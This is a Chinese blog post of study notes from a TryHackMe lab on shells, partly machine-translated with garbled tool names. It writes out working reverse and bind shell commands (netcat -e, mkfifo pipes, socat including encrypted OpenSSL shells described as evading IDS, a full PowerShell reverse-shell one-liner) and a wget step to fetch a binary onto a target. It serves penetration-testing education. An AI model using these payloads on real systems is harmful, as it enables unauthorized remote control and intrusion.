【THM】什么是壳?(一)

什么是壳?

在我们深入了解发送和接收 shell 的复杂性之前,了解 shell 到底是什么很重要。 用最简单的术语来说,shell 是我们在与命令行环境 (CLI) 交互时使用的。换句话说,Linux 中常见的 bash 或 sh 程序是 shell 的示例,Windows 上的 cmd.exe 和 Powershell 也是如此。当以远程系统为目标时,有时可能会强制在服务器(例如 Web 服务器)上运行的应用程序执行任意代码。发生这种情况时,我们希望使用此初始访问来获取在目标上运行的 shell。

简单来说,我们可以强制远程服务器向我们发送对服务器的命令行访问(反向 shell),或者在服务器上打开一个端口,我们可以连接到该端口以执行进一步的命令(绑定 shell)。

 

工具

网猫:

Netcat 是网络的传统“瑞士军刀”。它用于手动执行各种网络交互,包括枚举期间的横幅抓取等操作,但更重要的是,对于我们的用途,它可用于接收反向 shell 并连接到连接到目标系统上的绑定 shell 的远程端口。默认情况下,Netcat shell 非常不稳定(容易丢失),但可以通过我们将在即将到来的任务中介绍的技术进行改进。

惊呆:

Socat 就像类固醇的 netcat。它可以做所有相同的事情,甚至更多。Socat shell 通常比开箱即用的 netcat shell 更稳定。从这个意义上说,它远远优于 netcat;但是,有两大问题:

  1. 语法更难
  2. 默认情况下,Netcat 几乎安装在每个 Linux 发行版上。默认情况下很少安装 Socat。

这两个问题都有解决方法,我们将在后面介绍。

Socat 和 Netcat 都有用于 Windows 的 .exe 版本。

Metasploit -- multi/handler:

Metasploit 框架的模块与 socat 和 netcat 一样,用于接收反向 shell。由于是 Metasploit 框架的一部分,multi/handler 提供了一种获得稳定 shell 的成熟方法,并提供了多种进一步的选项来改进捕获的 shell。它也是与 meterpreter shell 交互的唯一方法,也是处理分阶段有效负载的最简单方法——我们将在任务 9 中介绍这两种方法。

exploit/multi/handler

毫斯弗诺姆:

与 multi/handler 一样,msfvenom 在技术上是 Metasploit 框架的一部分,但是,它是作为独立工具提供的。Msfvenom 用于动态生成有效载荷。虽然 msfvenom 可以生成除反向和绑定外壳之外的有效载荷,但这些是我们在这个房间里将重点关注的。Msfvenom 是一个非常强大的工具,因此我们将在专门的任务中更详细地介绍它的应用。

 

壳体类型

在高层次上,当涉及到利用目标时,我们对两种 shell 感兴趣:反向 shell 和绑定 shell。

  • 反向 shell 是指强制目标执行连接回计算机的代码。在您自己的计算机上,您将使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。反向 shell 是绕过防火墙规则的好方法,这些规则可能会阻止您连接到目标上的任意端口;但是,缺点是,当通过 Internet 从计算机接收 shell 时,您需要配置自己的网络以接受 shell。但是,由于我们连接到网络的方法,这在TryHackMe网络上不会成为问题。(对方发送shell)
  • 绑定 shell 是指使用在目标上执行的代码来启动直接在目标上附加到 shell 的侦听器。然后,这将向互联网开放,这意味着您可以连接到代码已打开的端口,并以这种方式获得远程代码执行。这样做的优点是不需要在您自己的网络上进行任何配置,但可以通过保护目标的防火墙来阻止。(一句话木马,自己去连接)

作为一般规则,反向 shell 更容易执行和调试,但是,我们将在下面介绍这两个示例。不要太担心这里的语法:我们将在即将到来的任务中查看它。相反,请注意以下模拟中反向 shell 和绑定 shell 之间的区别。


反向 Shell 示例:

让我们从更常见的反向 shell 开始。

十有八九,这就是你要追求的——尤其是在像 TryHackMe 这样的 CTF 挑战中。

请看下图。在左边,我们有一个反向 shell 监听器 -- 这是接收连接的内容。右边是发送反向 shell 的模拟。实际上,这更有可能是通过远程网站上的代码注入或类似的东西来完成的。将左边的图像想象成你自己的计算机,把右边的图像想象成目标。

在攻击机器上:

sudo nc -lvnp 443

在目标上:

nc <LOCAL-IP> <PORT> -e /bin/bash

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 Bind Shell 示例:

 

绑定 shell 不太常见,但仍然非常有用。

再次,请看下图。同样,在左边我们有攻击者的计算机,在右边我们有一个模拟目标。只是为了稍微改变一下,这次我们将使用 Windows 目标。首先,我们在目标上启动一个侦听器 -- 这一次我们也告诉它执行。然后,随着侦听器的启动和运行,我们从自己的机器连接到新打开的端口。cmd.exe

在目标上:

nc -lvnp <port> -e "cmd.exe"

在攻击机器上:

nc MACHINE_IP <port>

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

与此任务相关的最后一个概念是交互性。Shell 可以是交互式的,也可以是非交互式的。

    • 互动:如果您使用过 Powershell、Bash、Zsh、sh 或任何其他标准 CLI 环境,那么您将习惯于
      交互式 shell。这些允许您在执行程序后与程序进行交互。例如,以 SSH 登录提示为例:

    • 在这里,您可以看到它以交互方式询问用户键入 yes 或 no 以继续连接。这是一个交互式程序,需要交互式 shell 才能运行。 

    • 非交互式 shell 不会给你带来这种奢侈。在非交互式 shell 中,您只能使用不需要用户交互即可正常运行的程序。不幸的是,大多数简单的反向和绑定 shell 都是非交互式的,这可能会使进一步的开发更加棘手。让我们看看当我们尝试在非交互式 shell 中运行 SSH 时会发生什么:

      请注意,命令(非交互式)执行得很完美,但命令(交互式)根本没有给我们任何输出。

 

Netcat

如前所述,当涉及到任何类型的网络时,Netcat 是 pentester 工具包中最基本的工具。有了它,我们可以做各种有趣的事情,但现在让我们专注于外壳。

反向壳

在上一个任务中,我们看到反向 shell 需要 shellcode 和侦听器。执行 shell 的方法有很多种,因此我们将从侦听器开始。

使用 Linux 启动 netcat 侦听器的语法如下:

nc -lvnp <port-number>

-l 用于告诉 netcat 这将是一个侦听器
-v 用于请求详细输出
-n 告诉 netcat 不要解析主机名或使用 DNS。解释这一点超出了房间的范围。
-p 表示将遵循端口规范。

上一个任务中的示例使用了端口 443。实际上,您可以使用任何您喜欢的端口,只要还没有服务使用它。请注意,如果选择使用低于 1024 的端口,则需要在启动侦听器时使用。也就是说,使用已知的端口号(80、443 或 53 是不错的选择)通常是一个好主意,因为这更有可能绕过目标上的出站防火墙规则。sudo

一个可行的例子是:

sudo nc -lvnp 443

然后,我们可以根据目标上的环境,使用任意数量的有效负载连接回它。

上一个任务中显示了一个示例。

绑定 Shell

如果我们希望在目标上获得绑定 shell,那么我们可以假设在目标的选定端口上已经有一个侦听器在等着我们:我们需要做的就是连接到它。其语法相对简单:

nc <target-ip> <chosen-port>

在这里,我们使用 netcat 与我们选择的端口上的目标建立出站连接。

 

shell的稳定化

我们已经捕获或连接到一个 Netcat shell,接下来该做什么?(对shell进行稳定化处理)

默认情况下,这些shell非常不稳定,按下 Ctrl + C 就会杀死整个Netcat程序,而且它们是非交互的,经常会有奇怪的格式错误。这是因为 netcat“shell”实际上是在终端内运行的进程,而不是真正的终端本身。

幸运的是,在 Linux 系统上有许多稳定 netcat shell 的方法,我们会在这里提到三个。Windows反向shell的稳定化往往要困难得多,然而,我们将要在这里介绍的第二个技巧对它也特别有用。

技巧1: Python

我们将讨论的第一种技巧只适用于 Linux 机器,因为在默认情况下Linux机器几乎总是会安装 Python。
这是一个分为三个阶段的过程(shell稳定化的前提是已经获得或者连接到shell):

 

1.首先要做的是使用命令:python -c 'import pty;pty.spawn("/bin/bash")'   (pty模块简称伪终端)
它将使用 Python 产生一个功能更好的 bash shell 。
请注意,有些目标可能需要指定Python 版本,如果是这样的话:根据需要将 python 替换为 python2 或 python3 。
这时我们的 shell 会看起来更好一些,但是我们仍然不能使用tab键自动补全功能或者方向键功能,按下Ctrl + C 仍然会杀死这个shell 。(获取一个交互式的shell)
2.第二步是:执行export TERM=xterm ,这将使我们能够访问一些术语命令,例如clear命令。
3.最后(也是最重要的) ,我们将使用 Ctrl + Z按键对 shell 进行后台化处理,对shell后台化之后再前台化:用 stty raw -echo; fg 回到我们自己的终端前台。(ctrl+z挂入后台,在前台输入stty raw -echo;fg获取完整shell)
执行上面的前台化命令,将会做两件事: 首先,这个前台化命令会关闭我们自己本身的终端输出 (它允许我们访问tab键自动补全、方向键和按下 Ctrl + C 终止进程),然后再将之前建立的反向shell 前台化,从而完成稳定化过程。

 

技巧2: rlwrap

rlwrap是一个程序,简单地说,它可以让我们在捕获到shell时立即访问历史记录、 tab自动补全键和方向键;然而,如果你想在这个shell 中使用 Ctrl + C,还是必须使用一些其他技巧进一步稳定化shell。

默认情况下,kali没有安装rlwrap,所以如果要在kali中使用rlwrap,请先安装一下:

sudo apt install rlwrap

要使用 rlwrp,我们需要调用一个稍微不同的监听器:

rlwrap nc -lvnp <port>

在netcat监听器前面加上" rlwrap "可以提供一个功能更全面的 shell。这个技巧在处理 Windows的shell时特别有用,因为众所周知,Windows的shell很难稳定。

在处理 Linux 目标时,可以使用与前面第一个技巧中的第三个步骤相同的方法来完全稳定化shell:先用 Ctrl + Z 后台化 shell,然后再使用stty raw-echo; fg 命令来稳定化并重新进入 shell。

 

技巧3: Socat

稳定shell的第三个简单方法是使用一个初始的 netcat shell作为进入功能更全面的 socat shell的垫脚石。请记住,这种技巧最好是针对 Linux 目标,因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定。

socat二进制文件

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true

为了实现这种稳定方法,我们首先需要将一个 socat 静态编译的二进制文件(编译为没有依赖关系的程序的一个版本)传输到目标机器上。一个典型的实现方法是:让攻击机在包含 socat 二进制文件的目录中开启一个简易的webserver(sudo python3 -m http.server 80)。然后在目标机器上使用netcat shell界面下载文件,在 Linux 上,这可以通过 curl 或 wget (wget <LOCAL-IP>/socat -O /tmp/socat)来完成。

 

 

Socat

Socat 在某些方面与 netcat 相似,但在许多其他方面却有着根本的不同。将 socat 视为两点之间的连接器的最简单方法。为了这个房间的利益,这本质上是一个监听端口和键盘,但是,它也可以是一个监听端口和一个文件,或者实际上是两个监听端口。socat 所做的只是在两点之间提供链接——就像传送门游戏中的传送门枪一样!

反向壳

如前所述,socat 的语法比 netcat 的语法难得多。下面是 socat 中基本反向 shell 侦听器的语法:

socat TCP-L:<port> -

与 socat 一样,这是取两个点(一个侦听端口和标准输入)并将它们连接在一起。生成的 shell 不稳定,但这可以在 Linux 或 Windows 上运行,并且等效于

nc -lvnp <port>

在 Windows 上,我们将使用此命令重新连接:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

“pipes”选项用于强制powershell(或cmd.exe)使用Unix风格的标准输入和输出。

这是 Linux 目标的等效命令:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

 

 

 

绑定 Shell

在 Linux 目标上,我们将使用以下命令:

socat TCP-L:<port> EXEC:"bash -li"

在 Windows 目标上,我们将对侦听器使用此命令:

socat TCP-L:<port> EXEC:powershell.exe,pipes

无论目标是什么,我们都会在攻击机器上使用此命令连接到等待的侦听器。

socat TCP:<TARGET-IP>:<TARGET-PORT> -

 

 

现在让我们来看看 Socat 的一个更强大的用途:一个完全稳定的 Linux tty 反向 shell。这仅在目标为 Linux 时才有效,但要稳定得多。如前所述,socat 是一个非常通用的工具;但是,以下技术可能是其最有用的应用之一。下面是新的侦听器语法:

socat TCP-L:<port> FILE:`tty`,raw,echo=0

让我们将此命令分解为两部分。像往常一样,我们将两个点连接在一起。在本例中,这些点是侦听端口和文件。具体来说,我们将当前 TTY 作为文件传入,并将回显设置为零。这大约相当于使用 Ctrl + Z,使用 netcat shell 的技巧 - 额外的好处是立即稳定并挂接到一个完整的 tty 中。

stty raw -echo; fg

第一个侦听器可以与任何有效负载连接;但是,必须使用非常特定的 socat 命令激活此特殊侦听器。这意味着目标必须安装了 socat。默认情况下,大多数机器没有安装 socat,但是,可以上传预编译的 socat 二进制文件,然后可以正常执行。

特殊命令如下:

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

这是少数,所以让我们分解一下。

第一部分很简单 -- 我们正在与在我们自己的机器上运行的侦听器连接。该命令的第二部分使用 创建交互式 bash 会话。我们还传递了参数:pty、stderr、sigint、setsid 和 sane:EXEC:"bash -li"

  • pty,在目标上分配一个伪终端 - 稳定过程的一部分
  • stderr,确保任何错误消息都显示在 shell 中(通常是非交互式 shell 的问题)
  • sigint,将任何 Ctrl + C 命令传递到子进程中,允许我们在 shell 内终止命令
  • setsid,在新会话中创建进程
  • sane,稳定终端,试图使其“正常化”。

这需要吸收很多东西,所以让我们看看它的实际效果。

 

 

像往常一样,在左边,我们有一个在本地攻击机器上运行的侦听器,在右边,我们有一个受感染目标的模拟,使用非交互式shell运行。使用非交互式 netcat shell,我们执行特殊的 socat 命令,并在左侧的 socat 监听器上接收一个完全交互式的 bash shell:

 Socat加密shell

socat 的众多优点之一是它能够创建加密的 shell——包括绑定和反向。我们为什么要这样做?除非您拥有解密密钥,否则无法监视加密的 shell,因此通常能够绕过 IDS

我们在上一个任务中介绍了如何创建基本 shell,因此此处不再介绍语法。我只想说,任何时间都被用作命令的一部分,在使用加密的 shell 时,应该将其替换为。在任务结束时,我们将介绍一些示例,但首先让我们谈谈证书。TCPOPENSSL

我们首先需要生成一个证书才能使用加密的 shell。在我们的攻击机器上,这是最容易做到的:

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
此命令创建一个 2048 位 RSA 密钥,该密钥具有匹配的证书文件,自签名,有效期不到一年。当您运行此命令时,它将要求您填写有关证书的信息。这可以留空,也可以随机填充。
然后,我们需要将创建的两个文件合并为一个文件:.pem
cat shell.key shell.crt > shell.pem

现在,当我们设置反向 shell 侦听器时,我们使用:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

这将使用我们生成的证书设置一个 OPENSSL 侦听器。 告诉连接不要费心尝试验证我们的证书是否已由公认的颁发机构正确签名。请注意,证书必须在正在侦听的任何设备上使用。verify=0

要重新连接,我们将使用:
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
同样的技术也适用于绑定 shell:
 
目标:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes   //windows

攻击者:

socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

同样,请注意,即使对于 Windows 目标,证书也必须与侦听器一起使用,因此需要复制绑定 shell 的 PEM 文件。

反弹shell加密(主要生成证书)

 绑定shell加密

 

 

常见的Shell有效载荷

我们很快就会研究使用 msfvenom 生成有效负载,但在此之前,让我们先看看使用我们已经介绍过的工具的一些常见有效负载。


前面的任务提到,我们将研究一些使用 netcat 作为 bindshell 的侦听器的方法,因此我们将从此开始。在某些版本的 netcat 中(包括 Kali 附带的 Windows 版本,以及 Kali 本身使用的版本:),有一个选项允许您在连接时执行进程。例如,作为侦听器:nc.exe/usr/share/windows-resources/binariesnetcat-traditional-e

nc -lvnp <PORT> -e /bin/bash

mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

 

使用 netcat 连接到上述侦听器将导致目标上出现绑定 shell。

同样,对于反向壳体,连接回将导致目标上的反向壳体。nc <LOCAL-IP> <PORT> -e /bin/bash

然而,这不包括在大多数版本的 netcat 中,因为它被广泛认为非常不安全(有趣的是,对吧?在几乎总是需要静态二进制文件的 Windows 上,这种技术将完美地工作。但是,在 Linux 上,我们将改用以下代码为绑定 shell 创建侦听器:

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

该命令首先在 处创建一个命名管道。然后,它启动一个 netcat 侦听器,并将侦听器的输入连接到命名管道的输出。然后,netcat 侦听器的输出(即我们发送的命令)直接通过管道传输到 ,将 stderr 输出流发送到 stdout,并将 stdout 本身发送到命名管道的输入中,从而完成循环。

可以使用一个非常相似的命令来发送 netcat 反向 shell

mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

 此命令与前一个命令几乎相同,只是使用了 netcat connect 语法,而不是 netcat listen 语法。

 

面向新式 Windows Server 时,通常需要 Powershell 反向 shell,因此我们将在此处介绍标准的单行 PSH 反向 shell。

这个命令非常复杂,所以为了简单起见,这里就不直接解释了。然而,这是一个非常有用的单行代码,可以随身携带:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

为了使用它,我们需要将“<IP>”和“<port>”替换为适当的IP和端口选择。然后,可以将其复制到 cmd.exe shell(或在 Windows 服务器上执行命令的另一种方法,例如 webshell)并执行,从而生成反向 shell:

 

 

    

 

就到这里结束了哦,下一章继续讲shell

posted @ 2023-12-04 08:04  trymonoly  阅读(51)  评论(0编辑  收藏  举报